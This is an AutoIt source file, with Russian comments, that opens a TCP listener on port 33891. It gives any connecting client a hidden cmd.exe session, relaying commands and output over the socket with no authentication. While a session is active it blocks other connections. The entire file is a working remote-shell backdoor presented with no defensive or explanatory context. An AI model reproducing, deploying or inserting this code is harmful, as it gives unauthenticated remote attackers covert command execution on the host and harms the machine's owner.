#include <Constants.au3>
Global $szIPLocal = @IPAddress1
Global $iPORT = 33891
Global $sSend, $sRecv
Global $iCMD=0, $iErr=0
Global $hMainSocket=-1
Global $hConnSocket=-1
TCPStartup()
While 1
If $iErr Then
TCPCloseSocket($hConnSocket)
TCPCloseSocket($hMainSocket )
If ProcessExists($iCMD) Then ProcessClose($iCMD)
$hMainSocket = -1
$hConnSocket= -1
$iErr = 0
EndIf
If $hMainSocket = -1 Then $hMainSocket = TCPListen(@IPAddress1, $iPORT, 1)
If $hMainSocket > 0 Then
; Проверка/обработка входящих подключений
If $hConnSocket= -1 Then
$hConnSocket = TCPAccept($hMainSocket)
If $hConnSocket <> -1 Then
$iCMD = Run("cmd.exe", @SystemDir, 0, $STDIN_CHILD + $STDOUT_CHILD + $STDERR_CHILD)
TCPConnect($szIPLocal, $iPORT) ; блокируем все подключения на время сеанса
EndIf
EndIf
EndIf
If $hConnSocket > 0 Then
; Читаем из командной строки
If $iErr=0 Then $sSend = StdoutRead($iCMD) & StdoutRead($iCMD)
If @error Then $iErr = 1
; Передаем в командную строку
If $iErr=0 And $sRecv <> "" Then StdinWrite($iCMD, $sRecv)
If @error Then $iErr = 2
; Получаем из сети
If $iErr=0 Then $sRecv = TCPRecv($hConnSocket, 2048)
If @error Then $iErr = 3
; Отправляем в сеть
If $iErr=0 And $sSend <> "" Then TCPSend($hConnSocket, $sSend)
If @error Then $iErr = 4
EndIf
Sleep(100)
WEnd
Func SocketToIP($hSocket)
Local $tDockAddr = DllStructCreate("short;ushort;uint;char[8]"), $aRet
$aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $hSocket, _
"ptr", DllStructGetPtr($tDockAddr), "int*", DllStructGetSize($tDockAddr))
If @error Or $aRet[0] Then Return SetError(1, 0, "")
$aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($tDockAddr, 3))
If @error Then Return SetError(2, 0, "")
Return $aRet[0]
EndFunc ;=> SocketToIP
Func OnAutoItExit()
If $hMainSocket >0 Then TCPCloseSocket($hMainSocket)
If $hConnSocket >0 Then TCPCloseSocket($hConnSocket)
TCPShutdown()
EndFunc ;=> OnAutoItExit